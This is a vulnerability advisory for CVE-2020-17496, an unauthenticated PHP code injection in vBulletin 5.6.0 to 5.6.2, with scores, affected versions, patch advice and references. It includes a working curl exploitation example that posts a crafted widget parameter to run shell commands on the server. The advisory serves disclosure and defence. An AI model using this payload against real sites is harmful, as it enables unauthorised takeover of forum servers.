#VU42751 Code Injection in vBulletin - CVE-2020-17496

Vulnerability identifier: #VU42751

Vulnerability risk: High

CVSSv4.0: 9.3 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/U:Amber]

CVE-ID: CVE-2020-17496

CWE-ID: CWE-94

Exploitation vector: Network

Exploit availability: Yes

Vulnerable software:
vBulletin
Web applications / Forum & blogging software

Vendor: vBulletin

Description

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation when processing untrused input passed via the "subWidgets[0][config][code]" HTTP parameter to "/ajax/render/widget_tabbedcontainer_tab_panel" URL. A remote attacker can send a specially crafted request and execute arbitrary PHP code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Exploitation example:

curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("id"); exit;'

Mitigation
Install updates from vendor's website.

Vulnerable software versions

vBulletin: 5.6.0 Patch Level 1 - 5.6.2

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External links
https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/

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Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

Yes. This vulnerability is being exploited in the wild.